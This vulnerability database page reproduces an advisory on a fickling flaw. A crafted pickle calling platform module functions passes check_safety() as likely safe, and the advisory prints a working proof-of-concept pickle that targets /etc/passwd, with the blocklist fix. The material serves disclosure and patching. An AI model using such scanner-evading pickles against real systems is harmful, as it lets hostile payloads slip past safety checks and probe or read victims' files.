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Vulnerability Database

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

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349,335

Total vulnerabilities in the database

fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE` — fickling

Incomplete List of Disallowed Inputs

Our assessment

We added platform to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975).

It was not possible to inject extra arguments to file without first monkey-patching platform._follow_symlinks with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.

https://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695

target = _follow_symlinks(target)
# &quot;file&quot; output is locale dependent: force the usage of the C locale
# to get deterministic behavior.
env = dict(os.environ, LC_ALL=&#039;C&#039;)
try:
    # -b: do not prepend filenames to output lines (brief mode)
    output = subprocess.check_output([&#039;file&#039;, &#039;-b&#039;, target],
                                     stderr=subprocess.DEVNULL,
                                     env=env)

Original report

Summary

A crafted pickle invoking platform._syscmd_file, platform.architecture, or platform.libc_ver passes check_safety() with Severity.LIKELY_SAFE and zero findings. During fickling.loads(), these functions invoke subprocess.check_output with attacker-controlled arguments or read arbitrary files from disk.

Clarification: The subprocess call uses a list argument (['file', '-b', target]), not shell=True, so the attacker controls the file path argument to the file command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.

Affected versions

<= 0.1.9 (verified on upstream HEAD as of 2026-03-04)

Non-duplication check against published Fickling GHSAs

No published advisory covers platform module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in UNSAFE_IMPORTS) but covers a distinct set of functions.

Root cause

platform not in UNSAFE_IMPORTS denylist.
OvertlyBadEvals skips calls imported from stdlib modules.
UnusedVariables heuristic neutralized by making call result appear used (SETITEMS path).

Reproduction (clean upstream)

from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety

pickled = Pickled([
    op.Proto.create(4),
    op.ShortBinUnicode(&#039;platform&#039;),
    op.ShortBinUnicode(&#039;_syscmd_file&#039;),
    op.StackGlobal(),
    op.ShortBinUnicode(&#039;/etc/passwd&#039;),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),
    op.EmptyDict(),
    op.ShortBinUnicode(&#039;init&#039;),
    op.ShortBinUnicode(&#039;x&#039;),
    op.SetItem(),
    op.Mark(),
    op.ShortBinUnicode(&#039;trace&#039;),
    op.BinGet(0),
    op.SetItems(),
    op.Stop(),
])

results = check_safety(pickled)
print(results.severity.name, len(results.results))  # LIKELY_SAFE 0

with patch(&#039;subprocess.check_output&#039;, return_value=b&#039;ASCII text&#039;) as mock_sub:
    fickling.loads(pickled.dumps())
    print(&#039;subprocess called?&#039;, mock_sub.called)       # True
    print(&#039;args:&#039;, mock_sub.call_args[0])               # ([&#039;file&#039;, &#039;-b&#039;, &#039;/etc/passwd&#039;],)

Additional affected functions (same pattern):

platform.architecture('/etc/passwd') — calls _syscmd_file internally
platform.libc_ver('/etc/passwd') — opens and reads arbitrary file contents

Minimal patch diff

--- a/fickling/fickle.py
+++ b/fickling/fickle.py
@@
+        &quot;platform&quot;,

Validation after patch

Same PoC flips to LIKELY_OVERTLY_MALICIOUS
fickling.loads raises UnsafeFileError
subprocess.check_output is not called

Impact

False-negative verdict: check_safety() returns LIKELY_SAFE with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments.
Subprocess invocation: platform._syscmd_file calls subprocess.check_output(['file', '-b', target]) where target is attacker-controlled. The file command reads file headers and returns type information, enabling file existence and type probing.
File read: platform.libc_ver opens and reads chunks of an attacker-specified file path.

Published: Mar 13, 2026
Updated: Mar 14, 2026
GHSA: GHSA-5cxw-w2xg-2m8h
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-184

Affected Software
References

Software	From	Fixed in
fickling	-	0.1.10

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.